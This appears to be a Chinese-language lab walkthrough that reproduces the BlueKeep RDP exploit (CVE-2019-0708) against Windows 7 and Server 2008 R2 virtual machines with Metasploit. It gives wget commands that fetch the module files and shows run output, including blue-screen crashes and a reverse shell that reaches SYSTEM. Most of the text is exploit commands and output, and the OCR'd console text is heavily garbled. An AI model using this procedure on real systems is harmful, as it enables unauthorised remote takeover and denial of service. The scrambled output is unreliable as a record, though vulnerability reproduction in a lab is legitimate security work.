复现环境
kali	2019.3
win7 sp1 旗舰版【2core、2G】
win2008 R2

开启3389
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下载对应的利用脚本
	Wget	https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

	wget	https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

	wget	https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

	wget	https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb



覆盖对应文件到相应的目录
cp rdp.rb	/usr/share/metasploit-framework/lib/msf/core/exploit

cp rdp_scanner.rb	/usr/share/metasploit-framework/modules/auxiliary/scanner

cp cve_2019_0708_bluekeep_rce.rb	/usr/share/metasploit-framework/modules/exploits/rdp

cp cve_2019_0708_bluekeep.rb	/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

设置参数
[image: ]
主要有两个需要设置的地方
rhosts 不用讲
target 这个从0~ 4 最好都试一下
对win7进行漏洞利用
关键步骤
建议：从target 0~4 多试几次
【同一台win7 可以被多次exp】
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此版本的win7 确实存在漏洞
target 1
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这种情况是蓝屏了

target 2
[image: ]
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这种情况也是蓝屏了


target 3 成功
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这种也是蓝屏（第一次失败）
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第二次尝试target 3 才成功
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第三次尝试target 3 成功

target 4
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对win2008 R2 进行漏洞利用

[image: ]
此版本的win2008 R2 确实存在漏洞
target 1
[image: ]
target 2
[image: ]
target 3
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第一次利用失败
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第二次利用失败
[image: ]
image4.png
msf5 exploit(rdp/cve 2019 0708 bluekeep rce) > set target 1
target => 1
msf5 exploit(rdp/cve_2019_6768_bluekeep_rce) > run

[*] Started reverse TCP handler on 192.168.124.131:4444

[*] 192.168.124.134:3389 - Detected RDP on 192.168.124.134:3389 (Windows version: 6.1.7601) (Requires NLA: No

[+] 192.168.124.134:3389 - The target is vulnerable

[*] 192.168.124.134:3389 - Using CHUNK grooming strategy. Size 250MB, target address exfffffa8013200000, Channel count 1
[*] 192.168.124.134:3389 - Surfing channels

[*] 192.168.124.134:3389 - Lobbing eggs

[*] 192.168.124.134:3389 - Forcing the USE of FREE'd object ..

[*] Exploit completed, but no session was created





image5.png
A problem has been detected and windows has been shut down to prevent damage
to your computer.

SYSTEM_SERVICE_EXCEPTION

If this is the first time you've seen this stop error screen,
restart your computer. IF this screen appears again, Follow
these steps:

check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufactirer
for any windows updates you might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable B10S memory options such as caching or shadowing.
If you need to use Safe Mode to remove or disable components, restart
your computer, press F8 to select Advanced startup options, and then

select safe Mode.

Technical information:

“% STOP: 0x00000038 (0X00000000C0000005, OXFFFFFBO003EAEQSS, OXFFFFFBE003775F50, 0
x0000000000000000)

collecting data for crash dump ...
Initializing disk for crash dump

seginning dump of physical memory.
bumping physical memory to disk: 25
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Id Name

2

ploit target:

Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)

15 exploit(rdp/cve_2019_0708_bluekeep_rce) > run

[*]
[*]
[+]
[*]
[*]
5!
!
[*]

started

192
192.
192.
192.
192.
192.

168
168.
168.
168.
168.
168.

Exploit

reverse TCP handler on 192.168.124.131:4444
124.134:3389 - Detected RDP on 192.168.124.13
124.134:3389 - The target is vulnerable
124.134:3389 - Using CHUNK grooming strategy. Size 256MB, target address oxfffffage11ee7000, Channel count 1.
124.134:3389 - Surfing channels

124.134:3389 - Lobbing eggs

124.134:3389 - Forcing the USE of FREE'd object ..

completed, but no session was created

389 (Windows version: 6.1.7601) (Requires NLA: No)
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A problem has been detected and windows has been shut down to prevent damage
to your computer.

IRQL_NOT_LESS_OR_EQUAL

If this is the first time you've seen this stop error screen,
restart your computer. IF this screen appears again, Follow
these steps:

check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufactirer
for any windows updates you might need.

If problems continue, disable or remove any newly installed hardware

or software. Disable B10S memory options such as caching or shadowing.
If you need to use Safe Mode to remove or disable components, restart
your computer, press F8 to select Advanced startup options, and then

select safe Mode.

Technical information:

“% STOP: 0X0000000A (0x0000000000000000, 0x0000000000000002, 0X0000000000000001, 0
XFFFFFBO003EB33DE)

collecting data for crash dump ...
Initializing disk for crash dump
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msf5 exploit(rdp/cve 2019 0708 bluekeep rce) > set target 3
target => 3
msfS exploit(rdp/cve_2019_0708_bluekeep_rce) > run

[*] Started reverse TCP handler on 192.168.124.131:4444

[*] 192.168.124.134:3389 - Detected RDP on 192.168.124.134:3389 (Windows version: 6.1.7601) (Requires NLA: No

[+] 192.168.124.134:3389 - The target is vulnerable

[*] 192.168.124.134:3389 - Using CHUNK grooming strategy. Size 250MB, target address oxfffffa8028600000, Channel count 1
[*] 192.168.124.134:3389 - Surfing channels

[*] 192.168.124.134:3389 - Lobbing eggs

[*] 192.168.124.134:3389 - Forcing the USE of FREE'd object ..

[*] Exploit completed, but no session was created
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Applications ¥ Places ¥ Terminal ~ Mon 04:54 o s

@ Home

File Edit ch Terminal

root@kk2: ~/0708 %

LHOST 192.168.124.131 yes listen address (an interface may be specified
LPORT 4444 yes listen port

Exploit target:

Id Name

3 wWindows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)

msf5 exploit(rdp/cve_2019_0708_bluekeep_rce) > run

Started reverse TCP handler on 192.168.124.131:4444

192.168.124.134:3389 - Detected RDP on 192.168.124.134:3389 (Windows version: 6.1.7601) (Requires NL/
192.168.124.134:3389 - The target is vulnerable

192.168.124.134:3389 - Using CHUNK grooming strategy. Size 256MB, target address Oxfffffag8e28600000, Channel count 1.
192.168.124.134:3389 - Surfing channels

192.168.124.134:3389 - Lobbing eggs

192.168.124.134:3389 - Forcing the USE of FREE'd object ..

Command shell session 1 opened (192.168.124.131:4444 -> 192.168.124.134:49159) at 2019-69-09 04:53:31 -0400

No)

)=l

C:\Windows\system32>
C:\Windows\system32>whoami
whoami

nt authority\system

C:\Windows\system32>
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Edit

arch

root@kk2: ~/0708 %

3

root@Kkk2: ~/0708

Terminal

Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)

msfs exploit(rdp/cve_2019_0708_bluekeep_rce) > run

*] sta

192
192.
192.

Com

1

1 192
1192,
1 192.
1

1

1

1

rted

mand

168
168.
168.
168.
168.
168.

reverse

124
124.
124.
124.
124.
124.

134
134
134
134
134
134

TCP handler on 192.168.124.131:4444

:3389
389
389

:3389

:3389

:3389

- Detected RDP on 192.168.124.134:3389 (Windows version: 6.1.7601) (Requires NLA: No
- The target is vulnerable
- Using CHUNK grooming strategy. Size 250MB, target address oxfffffa8028600000, Channel count 1.
- surfing channels
- Lobbing eggs
- Forcing the USE of FREE'd object ..

shell session 2 opened (192.168.124.131:4444 -> 192.168.124.134:49159) at 2019-09-09 05:02:45 -0400

C:\Windows\system32>

C:\Windows\system32>

C:\Windows\system32>id

id
'id' 60066 HOGUEROOER00060000:1600
4606006661600

C:\Windows\system32>whoami

whoami.

nt authority\system

C:\Windows\system32>
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4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)

nsf5 exploit(rdp/cve_2019_0708_bluekeep_rce) > run

[*] Started reverse TCP handler on 192.168.124.131:4444

[*] 192.168.124.134:3389 - Detected RDP on 192.168.124.134:3389 (Windows version: 6.1.7601) (Requires NLA: No

[+] 192.168.124.134:3389 - The target is vulnerable

[*] 192.168.124.134:3389 - Using CHUNK grooming strategy. Size 256MB, target address Oxfffffag111e07000, Channel count 1
[*] 192.168.124.134:3389 - Surfing channels

[*] 192.168.124.134:3389 - Lobbing eggs

[*] 192.168.124.134:3389 - Forcing the USE of FREE'd object ..

[*] Exploit completed, but no session was created





image12.png
A problem has been detected and windows has been shut down to prevent damage
to your computer.

IRQL_NOT_LESS_OR_EQUAL

If this is the first time you've seen this stop error screen,
restart your computer. IF this screen appears again, Follow
these steps:

check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufactirer
for any windows updates you might need.

If problems continue, disable or remove any newly installed hardware

or software. Disable B10S memory options such as caching or shadowing.
If you need to use Safe Mode to remove or disable components, restart
your computer, press F8 to select Advanced startup options, and then

select safe Mode.

Technical information:

“% STOP: 0X0000000A (0x0000000000000000, 0x0000000000000002, 0X0000000000000001, 0
XFFFFFBO003EAB3DE)

collecting data for crash dump ...
Initializing disk for crash dump
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msf5 exploit(rdp/cve 2019 0708 bluekeep_rce) > check

[*] 192.168.124.128:3389 - Detected RDP on 192.168.124.128:3389
[+] 192.168.124.128:3389 - The target is vulnerable.

(windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.124.128:3389 - The target is vulnerable.
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Name  Current Setting
LHOST 192.168.124.131
LPORT 4444

xploit target:

Id Name

Required Description
yes The listen address (an interface may be specified
yes The listen port

1 windows 7 SP1 / 2008 R2 (6.1.7601 x64)

st5 exploit(rdp/cve_2019_

0708_bluekeep_rce) > run

*] started reverse TCP handler on 192.168.124.131:4444

*] 192.168.124.128:3389

+] 192.168.124.128:3389

*] 192.168.124. 3389 -
*] 192.168.124. 3308
*] 192.168.124. 3389 -
*] 192.168.124.128:3389 -
+] Exploit completed, but

sf5 exploit(rdp/cve 2019 |

- Detected RDP on 192.168.124.128:3389 (Windows version: 6.1.7601) (Requires NLA: No)
- The target is vulnerable.

Using CHUNK grooming strategy. Size 250MB, target address oxfffffas013200000, Channel count 1.

surfing channels

Lobbing eggs

Forcing the USE of FREE'd object
no session was created.
0708_bluekeep_rce) >

tthese steps:

Check to make sure any new hardware or software is properly installed
If this 15 a new installation, ask your hardware or software manufacture
For any windows updates you might need

I problems continue, disable or remove any newly installed hardware
or software. Disable BI0S memory options such as caching or shadowing
If you need to use Safe Mode To remove or disable components, restart
your computer, press F8 to select Advanced startup options, and then
select safe Mode

Technical information:

s STOP: 0x0000000A (0x0000000000000000, 0x0000000000000002, 0X0000000000000001
XFFFFFB00018A318C)

Collecting data for crash dump ..
Initializing disk for crash dump
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ROP_DOMALN no Ihe client domaln nameé To report during connect

RDP_USER no The username to report during connect, UNSET = random
RHOSTS 192.168.124.128 yes The target address range or CIDR identifier
RPORT 3389 yes The target port (TCP

Payload options (generic/shell reverse tcp)

Name Current Setting Required Description

LHOST 192.168.124.131 yes The listen address (an interface may be specified
LPORT 4444 yes The listen port

Exploit target:

Id Name

2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)

msfs exploit(rdp/cve_2019_0708_bluekeep_rce) > run

[*] Started reverse TCP handler on 192.168.124.131:4444

[*] 192.168.124.128:3389 - Detected RDP on 192.168.124.128:3389 (Windows version: 6.1.7601) (Requires NLA: No

[+] 192.168.124.128:3389 - The target is vulnerable

[*] 192.168.124.128:3389 - Using CHUNK grooming strategy. Size 250MB, target address oxfffffa8011e07000, Channel count 1
[*] 192.168.124.128:3389 - Surfing channels

[*] 192.168.124.128:3389 - Lobbing eggs

[*] 192.168.124.128:3389 - Forcing the USE of FREE'd object

[*] Exploit completed, but no session was created

msf5 exploit(rdp/cve_2019_0708_bluekeep_rce) > [J

(i [ win2008_01

i problem has been detected and windows has been shut down to prevent damac
o your computer.

IROL_NOT_LESS_OR_EQUAL

If this 15 the first time you've seen this stop error screen,
restart your computer. If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed
If this 15 a new installation, ask your hardware or software manufacture
For any windows updates you might need

Tf problems continue, disable or remove any newly installed hardware
or software. Disable BI0S memory options such as caching or shadowing
If you need to use safe Mode To remove or disable components, restart
your computer, press F8 to select Advanced startup options, and then
select safe Mode.

Technical information:

s STOP: 0x0000000A (0x0000000000000000, 0x0000000000000002, 0X0000000000000
XFFFFFB00018BF3DE)

Collecting data for crash dump
Initializing disk for crash dump

down to prevent damace
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Exploit target:

Id Name

3 wWindows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)

msf5 exploit(rdp/cve_2019_6708_bluekeep_rce) > run

[*] Started reverse TCP handler on 192.168.124.131:4444

[*] 192.168.124.128:3389 - Detected RDP on 192.168.124.128:3389 (Windows version: 6.1.7601) (Requires NLA: No

[+] 192.168.124.128:3389 - The target is vulnerable

[*] 192.168.124.128:3389 - Using CHUNK grooming strategy. Size 250MB, target address oxfffffa8028600000, Channel count 1
[*] 192.168.124.128:3389 - Surfing channels

[*] 192.168.124.128:3389 - Lobbing eggs

[*] 192.168.124.128:3389 - Forcing the USE of FREE'd object

[*] Exploit completed, but no session was created
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@ Home Workstation ~ [ w7 |

[ [

File Edit View Search Terminal Tabs Help
@KI2: 5 problem has been detected and windows has been shut down te prevent damage

root@kk2: ~/0708 % x W e
RDP_CLIENT NAME ethdev no client computer name to report during connect, UNSET = random
RDP_DOMAIN no client domain name to report during connect
RDP_USER no username to report during connect, UNSET = random Tf this is the First time you've seen this stop error screen,
RHOSTS 192.168.124.128 yes target address range or CIDR identifier restart your computer. If this screen appears again, follow
RPORT 3389 yes target port (TCP) P

DRIVER_IRQL_NOT_LESS_OR_EQUAL

Check to make sure any new hardware or software is properly installed
If this 15 a new installation, ask your hardware or software manufacture

Payload options (generic/shell reverse tcp): for any windows updates you might naed.

I problems continue, disable or remove any newly installed hardware
Name Current Setting Required Description or software. Disable BI0S memory options such as caching or shadowing
P o - If you need to use safe Mode to remove or disable components, restart

rter, ¥8 to select Advanced Startup options, and th
LHOST 192.168.124.131 yes The listen address (an interface may be specified) U SEISIE JEES O BELESS GREISCER SRS G ASUCIED Ut s

select safe Mode
LPORT 4444 yes The listen port
Technical information:

o STOP: 0x000000D1 (0x000000680078000A, 0x0000000000000002, 0X0000000000000001, )
Exploit target: XFFFFFE8001290013

Id Name

3 windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)

Wi termdd.sys - address FFFFFS8001200013 base at FFFFF8001206000, Datestamp)
4ceraboc

Collecting data for crash dump ..
Initializing disk for crash dump ..

ozl

msfs exploit(rdp/cve_2019_0708_bluekeep_rce) > run

Started reverse TCP handler on 192.168.124.131:4444

192.168.124.128:3389 - Detected RDP on 192.168.124.128:3389 (Windows version: 6.1.7601) (Requires NLA: No
192.168.124.128:3389 - The target is vulnerable

192.168.124.128:3389 - Using CHUNK grooming strategy. Size 256MB, target address oxfffffage28600000, Channel count 1
192.168.124.128:3389 - Surfing channels

192.168.124.128:3389 - Lobbing eggs

192.168.124.128:3389 - Forcing the USE of FREE'd obiect

NTERIZNREML, B BAMEEEBASRERE Ctri+ £) (
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A problem has been detected and windows has been shut down to prevent damage
to your computer.

PAGE_FAULT_TN_NONPAGED_AREA

If this is the first time you've seen this stop error screen,
restart your computer. IF this screen appears again, Follow
these steps:

check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufactirer
for any windows updates you might need.

If problems continue, disable or remove any newly installed hardware

or software. Disable B10S memory options such as caching or shadowing.
If you need to use Safe Mode to remove or disable components, restart
your computer, press F8 to select Advanced startup options, and then

select safe Mode.

Technical information:

“% STOP: 0X00000050 (OXFFFFFAB029AEL1E3, 0x0000000000000001, OXFFFFFAS032797E08, 0
x0000000000000002)

collecting data for crash dump ...
Initializing disk for crash dump
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msf5 exploit(rdp/cve 2019 0708 bluekeep rce) > show options

Module options (exploit/rdp/cve 2019 0708 bluekeep_rce)

client IPv4 address to report during connect

client computer name to report during connect, UNSET = random
client domain name to report during connect

username to report during connect, UNSET
target address range or CIDR identifier

random

Name Current Setting Required Description
RDP_CLIENT IP  192.168.0.100  yes The
RDP_CLIENT NAME ethdev no The
RDP_DOMAIN no The
RDP_USER no The
RHOSTS yes The
RPORT 3389 yes The

Payload options (generic/shell reverse tcp):

Name  Current Setting

LHOST 192.168.124.131
LPORT 4444

Exploit targe

Id Name

Windows 7 SP1 / 2008 R2 (6

Required Description

target port (TCP)

yes The listen address (an interface may be specified
yes The listen port

7601 x64 - VMWare)
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msf5 exploit(rdp/cve_2019_0708_bluekeep_rce) > check

[*] 192.168.124.134:3389 - Detected RDP on 192.168.124.134:3389
[+] 192.168.124.134:3389 - The target is vulnerable.

(windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.124.134:3389 - The target is vulnerable.




